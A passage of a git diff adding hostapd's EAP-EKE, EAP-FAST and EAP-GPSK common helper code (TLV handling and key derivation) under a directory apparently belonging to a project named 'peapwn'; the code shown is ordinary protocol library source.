eap_eke_session *sess, + const u8 *id_s, size_t id_s_len, + const u8 *id_p, size_t id_p_len, + const u8 *nonce_p, const u8 *nonce_s); +int eap_eke_derive_msk(struct eap_eke_session *sess, + const u8 *id_s, size_t id_s_len, + const u8 *id_p, size_t id_p_len, + const u8 *nonce_p, const u8 *nonce_s, + u8 *msk, u8 *emsk); +int eap_eke_prot(struct eap_eke_session *sess, + const u8 *data, size_t data_len, + u8 *prot, size_t *prot_len); +int eap_eke_decrypt_prot(struct eap_eke_session *sess, + const u8 *prot, size_t prot_len, + u8 *data, size_t *data_len); +int eap_eke_auth(struct eap_eke_session *sess, const char *label, + const struct wpabuf *msgs, u8 *auth); + +#endif /* EAP_EKE_COMMON_H */ diff --git a/peapwn/mods/hostap/src/eap_common/eap_fast_common.c b/peapwn/mods/hostap/src/eap_common/eap_fast_common.c new file mode 100644 index 000000000..04b987d23 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_fast_common.c @@ -0,0 +1,298 @@ +/* + * EAP-FAST common helper functions (RFC 4851) + * Copyright (c) 2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/sha1.h" +#include "crypto/tls.h" +#include "eap_defs.h" +#include "eap_tlv_common.h" +#include "eap_fast_common.h" + + +void eap_fast_put_tlv_hdr(struct wpabuf *buf, u16 type, u16 len) +{ + struct pac_tlv_hdr hdr; + hdr.type = host_to_be16(type); + hdr.len = host_to_be16(len); + wpabuf_put_data(buf, &hdr, sizeof(hdr)); +} + + +void eap_fast_put_tlv(struct wpabuf *buf, u16 type, const void *data, + u16 len) +{ + eap_fast_put_tlv_hdr(buf, type, len); + wpabuf_put_data(buf, data, len); +} + + +void eap_fast_put_tlv_buf(struct wpabuf *buf, u16 type, + const struct wpabuf *data) +{ + eap_fast_put_tlv_hdr(buf, type, wpabuf_len(data)); + wpabuf_put_buf(buf, data); +} + + +struct wpabuf * eap_fast_tlv_eap_payload(struct wpabuf *buf) +{ + struct wpabuf *e; + + if (buf == NULL) + return NULL; + + /* Encapsulate EAP packet in EAP-Payload TLV */ + wpa_printf(MSG_DEBUG, "EAP-FAST: Add EAP-Payload TLV"); + e = wpabuf_alloc(sizeof(struct pac_tlv_hdr) + wpabuf_len(buf)); + if (e == NULL) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Failed to allocate memory " + "for TLV encapsulation"); + wpabuf_free(buf); + return NULL; + } + eap_fast_put_tlv_buf(e, + EAP_TLV_TYPE_MANDATORY | EAP_TLV_EAP_PAYLOAD_TLV, + buf); + wpabuf_free(buf); + return e; +} + + +void eap_fast_derive_master_secret(const u8 *pac_key, const u8 *server_random, + const u8 *client_random, u8 *master_secret) +{ +#define TLS_RANDOM_LEN 32 +#define TLS_MASTER_SECRET_LEN 48 + u8 seed[2 * TLS_RANDOM_LEN]; + + wpa_hexdump(MSG_DEBUG, "EAP-FAST: client_random", + client_random, TLS_RANDOM_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-FAST: server_random", + server_random, TLS_RANDOM_LEN); + + /* + * RFC 4851, Section 5.1: + * master_secret = T-PRF(PAC-Key, "PAC to master secret label hash", + * server_random + client_random, 48) + */ + os_memcpy(seed, server_random, TLS_RANDOM_LEN); + os_memcpy(seed + TLS_RANDOM_LEN, client_random, TLS_RANDOM_LEN); + sha1_t_prf(pac_key, EAP_FAST_PAC_KEY_LEN, + "PAC to master secret label hash", + seed, sizeof(seed), master_secret, TLS_MASTER_SECRET_LEN); + + wpa_hexdump_key(MSG_DEBUG, "EAP-FAST: master_secret", + master_secret, TLS_MASTER_SECRET_LEN); +} + + +u8 * eap_fast_derive_key(void *ssl_ctx, struct tls_connection *conn, + const char *label, size_t len) +{ + struct tls_keys keys; + u8 *rnd = NULL, *out; + int block_size; + + block_size = tls_connection_get_keyblock_size(ssl_ctx, conn); + if (block_size < 0) + return NULL; + + out = os_malloc(block_size + len); + if (out == NULL) + return NULL; + + if (tls_connection_prf(ssl_ctx, conn, label, 1, out, block_size + len) + == 0) { + os_memmove(out, out + block_size, len); + return out; + } + + if (tls_connection_get_keys(ssl_ctx, conn, &keys)) + goto fail; + + rnd = os_malloc(keys.client_random_len + keys.server_random_len); + if (rnd == NULL) + goto fail; + + os_memcpy(rnd, keys.server_random, keys.server_random_len); + os_memcpy(rnd + keys.server_random_len, keys.client_random, + keys.client_random_len); + + wpa_hexdump_key(MSG_MSGDUMP, "EAP-FAST: master_secret for key " + "expansion", keys.master_key, keys.master_key_len); + if (tls_prf_sha1_md5(keys.master_key, keys.master_key_len, + label, rnd, keys.client_random_len + + keys.server_random_len, out, block_size + len)) + goto fail; + os_free(rnd); + os_memmove(out, out + block_size, len); + return out; + +fail: + os_free(rnd); + os_free(out); + return NULL; +} + + +void eap_fast_derive_eap_msk(const u8 *simck, u8 *msk) +{ + /* + * RFC 4851, Section 5.4: EAP Master Session Key Generation + * MSK = T-PRF(S-IMCK[j], "Session Key Generating Function", 64) + */ + + sha1_t_prf(simck, EAP_FAST_SIMCK_LEN, + "Session Key Generating Function", (u8 *) "", 0, + msk, EAP_FAST_KEY_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-FAST: Derived key (MSK)", + msk, EAP_FAST_KEY_LEN); +} + + +void eap_fast_derive_eap_emsk(const u8 *simck, u8 *emsk) +{ + /* + * RFC 4851, Section 5.4: EAP Master Session Key Genreration + * EMSK = T-PRF(S-IMCK[j], + * "Extended Session Key Generating Function", 64) + */ + + sha1_t_prf(simck, EAP_FAST_SIMCK_LEN, + "Extended Session Key Generating Function", (u8 *) "", 0, + emsk, EAP_EMSK_LEN); + wpa_hexdump_key(MSG_DEBUG, "EAP-FAST: Derived key (EMSK)", + emsk, EAP_EMSK_LEN); +} + + +int eap_fast_parse_tlv(struct eap_fast_tlv_parse *tlv, + int tlv_type, u8 *pos, int len) +{ + switch (tlv_type) { + case EAP_TLV_EAP_PAYLOAD_TLV: + wpa_hexdump(MSG_MSGDUMP, "EAP-FAST: EAP-Payload TLV", + pos, len); + if (tlv->eap_payload_tlv) { + wpa_printf(MSG_DEBUG, "EAP-FAST: More than one " + "EAP-Payload TLV in the message"); + tlv->iresult = EAP_TLV_RESULT_FAILURE; + return -2; + } + tlv->eap_payload_tlv = pos; + tlv->eap_payload_tlv_len = len; + break; + case EAP_TLV_RESULT_TLV: + wpa_hexdump(MSG_MSGDUMP, "EAP-FAST: Result TLV", pos, len); + if (tlv->result) { + wpa_printf(MSG_DEBUG, "EAP-FAST: More than one " + "Result TLV in the message"); + tlv->result = EAP_TLV_RESULT_FAILURE; + return -2; + } + if (len < 2) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Too short " + "Result TLV"); + tlv->result = EAP_TLV_RESULT_FAILURE; + break; + } + tlv->result = WPA_GET_BE16(pos); + if (tlv->result != EAP_TLV_RESULT_SUCCESS && + tlv->result != EAP_TLV_RESULT_FAILURE) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Unknown Result %d", + tlv->result); + tlv->result = EAP_TLV_RESULT_FAILURE; + } + wpa_printf(MSG_DEBUG, "EAP-FAST: Result: %s", + tlv->result == EAP_TLV_RESULT_SUCCESS ? + "Success" : "Failure"); + break; + case EAP_TLV_INTERMEDIATE_RESULT_TLV: + wpa_hexdump(MSG_MSGDUMP, "EAP-FAST: Intermediate Result TLV", + pos, len); + if (len < 2) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Too short " + "Intermediate-Result TLV"); + tlv->iresult = EAP_TLV_RESULT_FAILURE; + break; + } + if (tlv->iresult) { + wpa_printf(MSG_DEBUG, "EAP-FAST: More than one " + "Intermediate-Result TLV in the message"); + tlv->iresult = EAP_TLV_RESULT_FAILURE; + return -2; + } + tlv->iresult = WPA_GET_BE16(pos); + if (tlv->iresult != EAP_TLV_RESULT_SUCCESS && + tlv->iresult != EAP_TLV_RESULT_FAILURE) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Unknown Intermediate " + "Result %d", tlv->iresult); + tlv->iresult = EAP_TLV_RESULT_FAILURE; + } + wpa_printf(MSG_DEBUG, "EAP-FAST: Intermediate Result: %s", + tlv->iresult == EAP_TLV_RESULT_SUCCESS ? + "Success" : "Failure"); + break; + case EAP_TLV_CRYPTO_BINDING_TLV: + wpa_hexdump(MSG_MSGDUMP, "EAP-FAST: Crypto-Binding TLV", + pos, len); + if (tlv->crypto_binding) { + wpa_printf(MSG_DEBUG, "EAP-FAST: More than one " + "Crypto-Binding TLV in the message"); + tlv->iresult = EAP_TLV_RESULT_FAILURE; + return -2; + } + tlv->crypto_binding_len = sizeof(struct eap_tlv_hdr) + len; + if (tlv->crypto_binding_len < sizeof(*tlv->crypto_binding)) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Too short " + "Crypto-Binding TLV"); + tlv->iresult = EAP_TLV_RESULT_FAILURE; + return -2; + } + tlv->crypto_binding = (struct eap_tlv_crypto_binding_tlv *) + (pos - sizeof(struct eap_tlv_hdr)); + break; + case EAP_TLV_REQUEST_ACTION_TLV: + wpa_hexdump(MSG_MSGDUMP, "EAP-FAST: Request-Action TLV", + pos, len); + if (tlv->request_action) { + wpa_printf(MSG_DEBUG, "EAP-FAST: More than one " + "Request-Action TLV in the message"); + tlv->iresult = EAP_TLV_RESULT_FAILURE; + return -2; + } + if (len < 2) { + wpa_printf(MSG_DEBUG, "EAP-FAST: Too short " + "Request-Action TLV"); + tlv->iresult = EAP_TLV_RESULT_FAILURE; + break; + } + tlv->request_action = WPA_GET_BE16(pos); + wpa_printf(MSG_DEBUG, "EAP-FAST: Request-Action: %d", + tlv->request_action); + break; + case EAP_TLV_PAC_TLV: + wpa_hexdump(MSG_MSGDUMP, "EAP-FAST: PAC TLV", pos, len); + if (tlv->pac) { + wpa_printf(MSG_DEBUG, "EAP-FAST: More than one " + "PAC TLV in the message"); + tlv->iresult = EAP_TLV_RESULT_FAILURE; + return -2; + } + tlv->pac = pos; + tlv->pac_len = len; + break; + default: + /* Unknown TLV */ + return -1; + } + + return 0; +} diff --git a/peapwn/mods/hostap/src/eap_common/eap_fast_common.h b/peapwn/mods/hostap/src/eap_common/eap_fast_common.h new file mode 100644 index 000000000..895561747 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_fast_common.h @@ -0,0 +1,107 @@ +/* + * EAP-FAST definitions (RFC 4851) + * Copyright (c) 2004-2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_FAST_H +#define EAP_FAST_H + +#define EAP_FAST_VERSION 1 +#define EAP_FAST_KEY_LEN 64 +#define EAP_FAST_SIMCK_LEN 40 +#define EAP_FAST_SKS_LEN 40 +#define EAP_FAST_CMK_LEN 20 + +#define TLS_EXT_PAC_OPAQUE 35 + +/* + * RFC 5422: Section 4.2.1 - Formats for PAC TLV Attributes / Type Field + * Note: bit 0x8000 (Mandatory) and bit 0x4000 (Reserved) are also defined + * in the general PAC TLV format (Section 4.2). + */ +#define PAC_TYPE_PAC_KEY 1 +#define PAC_TYPE_PAC_OPAQUE 2 +#define PAC_TYPE_CRED_LIFETIME 3 +#define PAC_TYPE_A_ID 4 +#define PAC_TYPE_I_ID 5 +/* + * 6 was previous assigned for SERVER_PROTECTED_DATA, but + * draft-cam-winget-eap-fast-provisioning-02.txt changed this to Reserved. + */ +#define PAC_TYPE_A_ID_INFO 7 +#define PAC_TYPE_PAC_ACKNOWLEDGEMENT 8 +#define PAC_TYPE_PAC_INFO 9 +#define PAC_TYPE_PAC_TYPE 10 + +#ifdef _MSC_VER +#pragma pack(push, 1) +#endif /* _MSC_VER */ + +struct pac_tlv_hdr { + be16 type; + be16 len; +} STRUCT_PACKED; + +#ifdef _MSC_VER +#pragma pack(pop) +#endif /* _MSC_VER */ + + +#define EAP_FAST_PAC_KEY_LEN 32 + +/* RFC 5422: 4.2.6 PAC-Type TLV */ +#define PAC_TYPE_TUNNEL_PAC 1 +/* Application Specific Short Lived PACs (only in volatile storage) */ +/* User Authorization PAC */ +#define PAC_TYPE_USER_AUTHORIZATION 3 +/* Application Specific Long Lived PACs */ +/* Machine Authentication PAC */ +#define PAC_TYPE_MACHINE_AUTHENTICATION 2 + + +/* + * RFC 5422: + * Section 3.3 - Key Derivations Used in the EAP-FAST Provisioning Exchange + */ +struct eap_fast_key_block_provisioning { + /* Extra key material after TLS key_block */ + u8 session_key_seed[EAP_FAST_SKS_LEN]; + u8 server_challenge[16]; /* MSCHAPv2 ServerChallenge */ + u8 client_challenge[16]; /* MSCHAPv2 ClientChallenge */ +}; + + +struct wpabuf; +struct tls_connection; + +struct eap_fast_tlv_parse { + u8 *eap_payload_tlv; + size_t eap_payload_tlv_len; + struct eap_tlv_crypto_binding_tlv *crypto_binding; + size_t crypto_binding_len; + int iresult; + int result; + int request_action; + u8 *pac; + size_t pac_len; +}; + +void eap_fast_put_tlv_hdr(struct wpabuf *buf, u16 type, u16 len); +void eap_fast_put_tlv(struct wpabuf *buf, u16 type, const void *data, + u16 len); +void eap_fast_put_tlv_buf(struct wpabuf *buf, u16 type, + const struct wpabuf *data); +struct wpabuf * eap_fast_tlv_eap_payload(struct wpabuf *buf); +void eap_fast_derive_master_secret(const u8 *pac_key, const u8 *server_random, + const u8 *client_random, u8 *master_secret); +u8 * eap_fast_derive_key(void *ssl_ctx, struct tls_connection *conn, + const char *label, size_t len); +void eap_fast_derive_eap_msk(const u8 *simck, u8 *msk); +void eap_fast_derive_eap_emsk(const u8 *simck, u8 *emsk); +int eap_fast_parse_tlv(struct eap_fast_tlv_parse *tlv, + int tlv_type, u8 *pos, int len); + +#endif /* EAP_FAST_H */ diff --git a/peapwn/mods/hostap/src/eap_common/eap_gpsk_common.c b/peapwn/mods/hostap/src/eap_common/eap_gpsk_common.c new file mode 100644 index 000000000..7a33215f9 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_common/eap_gpsk_common.c @@ -0,0 +1,552 @@ +/* + * EAP server/peer: EAP-GPSK shared routines + * Copyright (c) 2006-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/aes_wrap.h" +#include "crypto/sha256.h" +#include "eap_defs.h" +#include "eap_gpsk_common.h" + + +/** + * eap_gpsk_supported_ciphersuite - Check whether ciphersuite is supported + * @vendor: CSuite/Vendor + * @specifier: CSuite/Specifier + * Returns: 1 if ciphersuite is support, or 0 if not + */ +int eap_gpsk_supported_ciphersuite(int vendor, int specifier) +{ + if (vendor == EAP_GPSK_VENDOR_IETF && + specifier == EAP_GPSK_CIPHER_AES) + return 1; +#ifdef EAP_GPSK_SHA256 + if (vendor == EAP_GPSK_VENDOR_IETF && + specifier == EAP_GPSK_CIPHER_SHA256) + return 1; +#endif /* EAP_GPSK_SHA256 */ + return 0; +} + + +static int eap_gpsk_gkdf_cmac(const u8 *psk /* Y */, + const u8 *data /* Z */, size_t data_len, + u8 *buf, size_t len /* X */) +{ + u8 *opos; + size_t i, n, hashlen, left, clen; + u8 ibuf[2], hash[16]; + const u8 *addr[2]; + size_t vlen[2]; + + hashlen = sizeof(hash); + /* M_i = MAC_Y (i || Z); (MAC = AES-CMAC-128) */ + addr[0] = ibuf; + vlen[0] = sizeof(ibuf); + addr[1] = data; + vlen[1] = data_len; + + opos = buf; + left = len; + n = (len + hashlen - 1) / hashlen; + for (i = 1; i <= n; i++) { + WPA_PUT_BE16(ibuf, i); + if (omac1_aes_128_vector(psk, 2, addr, vlen, hash)) + return -1; + clen = left > hashlen ? hashlen : left; + os_memcpy(opos, hash, clen); + opos += clen; + left -= clen; + } + + return 0; +} + + +#ifdef EAP_GPSK_SHA256 +static int eap_gpsk_gkdf_sha256(const u8 *psk /* Y */, + const u8 *data /* Z */, size_t data_len, + u8 *buf, size_t len /* X */) +{ + u8 *opos; + size_t i, n, hashlen, left, clen; + u8 ibuf[2], hash[SHA256_MAC_LEN]; + const u8 *addr[2]; + size_t vlen[2]; + + hashlen = SHA256_MAC_LEN; + /* M_i = MAC_Y (i || Z); (MAC = HMAC-SHA256) */ + addr[0] = ibuf; + vlen[0] = sizeof(ibuf); + addr[1] = data; + vlen[1] = data_len; + + opos = buf; + left = len; + n = (len + hashlen - 1) / hashlen; + for (i = 1; i <= n; i++) { + WPA_PUT_BE16(ibuf, i); + hmac_sha256_vector(psk, 32, 2, addr, vlen, hash); + clen = left > hashlen ? hashlen : left; + os_memcpy(opos, hash, clen); + opos += clen; + left -= clen; + } + + return 0; +} +#endif /* EAP_GPSK_SHA256 */ + + +static int eap_gpsk_derive_keys_helper(u32 csuite_specifier, + u8 *kdf_out, size_t kdf_out_len, + const u8 *psk, size_t psk_len, + const u8 *seed, size_t seed_len, + u8 *msk, u8 *emsk, + u8 *sk, size_t sk_len, + u8 *pk, size_t pk_len) +{ + u8 mk[32], *pos, *data; + size_t data_len, mk_len; + int (*gkdf)(const u8 *_psk, const u8 *_data, size_t _data_len, + u8 *buf, size_t len); + + gkdf = NULL; + switch (csuite_specifier) { + case EAP_GPSK_CIPHER_AES: + gkdf = eap_gpsk_gkdf_cmac; + mk_len = 16; + break; +#ifdef EAP_GPSK_SHA256 + case EAP_GPSK_CIPHER_SHA256: + gkdf = eap_gpsk_gkdf_sha256; + mk_len = SHA256_MAC_LEN; + break; +#endif /* EAP_GPSK_SHA256 */ + default: + return -1; + } + + if (psk_len < mk_len) + return -1; + + data_len = 2 + psk_len + 6 + seed_len; + data = os_malloc(data_len); + if (data == NULL) + return -1; + pos = data; + WPA_PUT_BE16(pos, psk_len); + pos += 2; + os_memcpy(pos, psk, psk_len); + pos += psk_len; + WPA_PUT_BE32(pos, EAP_GPSK_VENDOR_IETF); /* CSuite/Vendor = IETF */ + pos += 4; + WPA_PUT_BE16(pos, csuite_specifier); /* CSuite/Specifier */ + pos += 2; + os_memcpy(pos, seed, seed_len); /* inputString */ + wpa_hexdump_key(MSG_DEBUG, "EAP-GPSK: Data to MK derivation", + data, data_len); + + if (gkdf(psk, data, data_len, mk, mk_len) < 0) { + os_free(data); + return -1; + } + os_free(data); + wpa_hexdump_key(MSG_DEBUG, "EAP-GPSK: MK", mk, mk_len); + + if (gkdf(mk, seed, seed_len, kdf_out, kdf_out_len) < 0) + return -1; + + pos = kdf_out; + wpa_hexdump_key(MSG_DEBUG, "EAP-GPSK: MSK", pos, EAP_MSK_LEN); + os_memcpy(msk, pos, EAP_MSK_LEN); + pos += EAP_MSK_LEN; + + wpa_hexdump_key(MSG_DEBUG, "EAP-GPSK: EMSK", pos, EAP_EMSK_LEN); + os_memcpy(emsk, pos, EAP_EMSK_LEN); + pos += EAP_EMSK_LEN; + + wpa_hexdump_key(MSG_DEBUG, "EAP-GPSK: SK", pos, sk_len); + os_memcpy(sk, pos, sk_len); + pos += sk_len; + + if (pk) { + wpa_hexdump_key(MSG_DEBUG, "EAP-GPSK: PK", pos, pk_len); + os_memcpy(pk, pos, pk_len); + } + + return 0; +} + + +static int eap_gpsk_derive_keys_aes(const u8 *psk, size_t psk_len, + const u8 *seed, size_t seed_len, + u8 *msk, u8 *emsk, u8 *sk, size_t *sk_len, + u8 *pk, size_t *pk_len) +{ +#define EAP_GPSK_SK_LEN_AES 16 +#define EAP_GPSK_PK_LEN_AES 16 + u8 kdf_out[EAP_MSK_LEN + EAP_EMSK_LEN + EAP_GPSK_SK_LEN_AES + + EAP_GPSK_PK_LEN_AES]; + + /* + * inputString = RAND_Peer || ID_Peer || RAND_Server || ID_Server + * (= seed) + * KS = 16, PL = psk_len, CSuite_Sel = 0x00000000 0x0001 + * MK = GKDF-16 (PSK[0..15], PL || PSK || CSuite_Sel || inputString) + * MSK = GKDF-160 (MK, inputString)[0..63] + * EMSK = GKDF-160 (MK, inputString)[64..127] + * SK = GKDF-160 (MK, inputString)[128..143] + * PK = GKDF-160 (MK, inputString)[144..159] + * zero = 0x00 || 0x00 || ... || 0x00 (16 times) + * Method-ID = GKDF-16 (zero, "Method ID" || EAP_Method_Type || + * CSuite_Sel || inputString) + */ + + *sk_len = EAP_GPSK_SK_LEN_AES; + *pk_len = EAP_GPSK_PK_LEN_AES; + + return eap_gpsk_derive_keys_helper(EAP_GPSK_CIPHER_AES, + kdf_out, sizeof(kdf_out), + psk, psk_len, seed, seed_len, + msk, emsk, sk, *sk_len, + pk, *pk_len); +} + + +#ifdef EAP_GPSK_SHA256 +static int eap_gpsk_derive_keys_sha256(const u8 *psk, size_t psk_len, + const u8 *seed, size_t seed_len, + u8 *msk, u8 *emsk, + u8 *sk, size_t *sk_len) +{ +#define EAP_GPSK_SK_LEN_SHA256 SHA256_MAC_LEN +#define EAP_GPSK_PK_LEN_SHA256 SHA256_MAC_LEN + u8 kdf_out[EAP_MSK_LEN + EAP_EMSK_LEN + EAP_GPSK_SK_LEN_SHA256 + + EAP_GPSK_PK_LEN_SHA256]; + + /* + * inputString = RAND_Peer || ID_Peer || RAND_Server || ID_Server + * (= seed) + * KS = 32, PL = psk_len, CSuite_Sel = 0x00000000 0x0002 + * MK = GKDF-32 (PSK[0..31], PL || PSK || CSuite_Sel || inputString) + * MSK = GKDF-160 (MK, inputString)[0..63] + * EMSK = GKDF-160 (MK, inputString)[64..127] + * SK = GKDF-160 (MK, inputString)[128..159] + * zero = 0x00 || 0x00 || ... || 0x00 (32 times) + * Method-ID = GKDF-16 (zero, "Method ID" || EAP_Method_Type || + * CSuite_Sel || inputString) + */ + + *sk_len = EAP_GPSK_SK_LEN_SHA256; + + return eap_gpsk_derive_keys_helper(EAP_GPSK_CIPHER_SHA256, + kdf_out, sizeof(kdf_out), + psk, psk_len, seed, seed_len, + msk, emsk, sk, *sk_len, + NULL, 0); +} +#endif /* EAP_GPSK_SHA256 */ + + +/** + * eap_gpsk_derive_keys - Derive EAP-GPSK keys + * @psk: Pre-shared key + * @psk_len: Length of psk in bytes + * @vendor: CSuite/Vendor + * @specifier: CSuite/Specifier + * @rand_peer: 32-byte RAND_Peer + * @rand_server: 32-byte RAND_Server + * @id_peer: ID_Peer + * @id_peer_len: Length of ID_Peer + * @id_server: ID_Server + * @id_server_len: Length of ID_Server + * @msk: Buffer for 64-byte MSK + * @emsk: Buffer for 64-byte EMSK + * @sk: Buffer for SK (at least EAP_GPSK_MAX_SK_LEN bytes) + * @sk_len: Buffer for returning length of SK + * @pk: Buffer for PK (at least EAP_GPSK_MAX_PK_LEN bytes) + * @pk_len: Buffer for returning length of PK + * Returns: 0 on success, -1 on failure + */ +int eap_gpsk_derive_keys(const u8 *psk, size_t psk_len, int vendor, + int specifier, + const u8 *rand_peer, const u8 *rand_server, + const u8 *id_peer, size_t id_peer_len, + const u8 *id_server, size_t id_server_len, + u8 *msk, u8 *emsk, u8 *sk, size_t *sk_len, + u8 *pk, size_t *pk_len) +{ + u8 *seed, *pos; + size_t seed_len; + int ret; + + wpa_printf(MSG_DEBUG, "EAP-GPSK: Deriving keys (%d:%d)", + vendor, specifier); + + if (vendor != EAP_GPSK_VENDOR_IETF) + return -1; + + wpa_hexdump_key(MSG_DEBUG, "EAP-GPSK: PSK", psk, psk_len); + + /* Seed = RAND_Peer || ID_Peer || RAND_Server || ID_Server */ + seed_len = 2 * EAP_GPSK_RAND_LEN + id_server_len + id_peer_len; + seed = os_malloc(seed_len); + if (seed == NULL) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Failed to allocate memory " + "for key derivation"); + return -1; + } + + pos = seed; + os_memcpy(pos, rand_peer, EAP_GPSK_RAND_LEN); + pos += EAP_GPSK_RAND_LEN; + os_memcpy(pos, id_peer, id_peer_len); + pos += id_peer_len; + os_memcpy(pos, rand_server, EAP_GPSK_RAND_LEN); + pos += EAP_GPSK_RAND_LEN; + os_memcpy(pos, id_server, id_server_len); + pos += id_server_len; + wpa_hexdump(MSG_DEBUG, "EAP-GPSK: Seed", seed, seed_len); + + switch (specifier) { + case EAP_GPSK_CIPHER_AES: + ret = eap_gpsk_derive_keys_aes(psk, psk_len, seed, seed_len, + msk, emsk, sk, sk_len, + pk, pk_len); + break; +#ifdef EAP_GPSK_SHA256 + case EAP_GPSK_CIPHER_SHA256: + ret = eap_gpsk_derive_keys_sha256(psk, psk_len, seed, seed_len, + msk, emsk, sk, sk_len); + break; +#endif /* EAP_GPSK_SHA256 */ + default: + wpa_printf(MSG_DEBUG, "EAP-GPSK: Unknown cipher %d:%d used in " + "key derivation", vendor, specifier); + ret = -1; + break; + } + + os_free(seed); + + return ret; +} + + +static int eap_gpsk_derive_mid_helper(u32 csuite_specifier, + u8 *kdf_out, size_t kdf_out_len, + const u8 *psk, const u8 *seed, + size_t seed_len, u8 method_type) +{ + u8 *pos, *data; + size_t data_len; + int (*gkdf)(const u8 *_psk, const u8 *_data, size_t _data_len, + u8 *buf, size_t len); + + gkdf = NULL; + switch (csuite_specifier) { + case EAP_GPSK_CIPHER_AES: + gkdf = eap_gpsk_gkdf_cmac; + break; +#ifdef EAP_GPSK_SHA256 + case EAP_GPSK_CIPHER_SHA256: + gkdf = eap_gpsk_gkdf_sha256; + break; +#endif /* EAP_GPSK_SHA256 */ + default: + wpa_printf(MSG_DEBUG, "EAP-GPSK: Unknown cipher %d used in " + "Session-Id derivation", csuite_specifier); + return -1; + } + +#define SID_LABEL "Method ID" + /* "Method ID" || EAP_Method_Type || CSuite_Sel || inputString */ + data_len = strlen(SID_LABEL) + 1 + 6 + seed_len; + data = os_malloc(data_len); + if (data == NULL) + return -1; + pos = data; + os_memcpy(pos, SID_LABEL, strlen(SID_LABEL)); + pos += strlen(SID_LABEL); +#undef SID_LABEL + os_memcpy(pos, &method_type, 1); + pos += 1; + WPA_PUT_BE32(pos, EAP_GPSK_VENDOR_IETF); /* CSuite/Vendor = IETF */ + pos += 4; + WPA_PUT_BE16(pos, csuite_specifier); /* CSuite/Specifier */ + pos += 2; + os_memcpy(pos, seed, seed_len); /* inputString */ + wpa_hexdump(MSG_DEBUG, "EAP-GPSK: Data to Method ID derivation", + data, data_len); + + if (gkdf(psk, data, data_len, kdf_out, kdf_out_len) < 0) { + os_free(data); + return -1; + } + os_free(data); + wpa_hexdump(MSG_DEBUG, "EAP-GPSK: Method ID", kdf_out, kdf_out_len); + + return 0; +} + + +/** + * eap_gpsk_session_id - Derive EAP-GPSK Session ID + * @psk: Pre-shared key + * @psk_len: Length of psk in bytes + * @vendor: CSuite/Vendor + * @specifier: CSuite/Specifier + * @rand_peer: 32-byte RAND_Peer + * @rand_server: 32-byte RAND_Server + * @id_peer: ID_Peer + * @id_peer_len: Length of ID_Peer + * @id_server: ID_Server + * @id_server_len: Length of ID_Server + * @method_type: EAP Authentication Method Type + * @sid: Buffer for 17-byte Session ID + * @sid_len: Buffer for returning length of Session ID + * Returns: 0 on success, -1 on failure + */ +int eap_gpsk_derive_session_id(const u8 *psk, size_t psk_len, int vendor, + int specifier, + const u8 *rand_peer, const u8 *rand_server, + const u8 *id_peer, size_t id_peer_len, + const u8 *id_server, size_t id_server_len, + u8 method_type, u8 *sid, size_t *sid_len) +{ + u8 *seed, *pos; + u8 kdf_out[16]; + size_t seed_len; + int ret; + + wpa_printf(MSG_DEBUG, "EAP-GPSK: Deriving Session ID(%d:%d)", + vendor, specifier); + + if (vendor != EAP_GPSK_VENDOR_IETF) + return -1; + + wpa_hexdump_key(MSG_DEBUG, "EAP-GPSK: PSK", psk, psk_len); + + /* + * inputString = RAND_Peer || ID_Peer || RAND_Server || ID_Server + * (= seed) + * KS = 16, CSuite_Sel = 0x00000000 0x0001 + * Method-ID = GKDF-16 (zero, "Method ID" || EAP_Method_Type || + * CSuite_Sel || inputString) + */ + seed_len = 2 * EAP_GPSK_RAND_LEN + id_server_len + id_peer_len; + seed = os_malloc(seed_len); + if (seed == NULL) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Failed to allocate memory " + "for Session-Id derivation"); + return -1; + } + + pos = seed; + os_memcpy(pos, rand_peer, EAP_GPSK_RAND_LEN); + pos += EAP_GPSK_RAND_LEN; + os_memcpy(pos, id_peer, id_peer_len); + pos += id_peer_len; + os_memcpy(pos, rand_server, EAP_GPSK_RAND_LEN); + pos += EAP_GPSK_RAND_LEN; + os_memcpy(pos, id_server, id_server_len); + pos += id_server_len; + wpa_hexdump(MSG_DEBUG, "EAP-GPSK: Seed", seed, seed_len); + + ret = eap_gpsk_derive_mid_helper(specifier, + kdf_out, sizeof(kdf_out), + psk, seed, seed_len, + method_type); + + sid[0] = method_type; + os_memcpy(sid + 1, kdf_out, sizeof(kdf_out)); + *sid_len = 1 + sizeof(kdf_out); + + os_free(seed); + + return ret; +} + + +/** + * eap_gpsk_mic_len - Get the length of the MIC + * @vendor: CSuite/Vendor + * @specifier: CSuite/Specifier + * Returns: MIC length in bytes + */ +size_t eap_gpsk_mic_len(int vendor, int specifier) +{ + if (vendor != EAP_GPSK_VENDOR_IETF) + return 0; + + switch (specifier) { + case EAP_GPSK_CIPHER_AES: + return 16; +#ifdef EAP_GPSK_SHA256 + case EAP_GPSK_CIPHER_SHA256: + return 32; +#endif /* EAP_GPSK_SHA256 */ + default: + return 0; + } +} + + +static int eap_gpsk_compute_mic_aes(const u8 *sk, size_t sk_len, + const u8 *data, size_t len, u8 *mic) +{ + if (sk_len != 16) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Invalid SK length %lu for " + "AES-CMAC MIC", (unsigned long) sk_len); + return -1; + } + + return omac1_aes_128(sk, data, len, mic); +} + + +/** + * eap_gpsk_compute_mic - Compute EAP-GPSK MIC for an EAP packet + * @sk: Session key SK from eap_gpsk_derive_keys() + * @sk_len: SK length in bytes from eap_gpsk_derive_keys() + * @vendor: CSuite/Vendor + * @specifier: CSuite/Specifier + * @data: 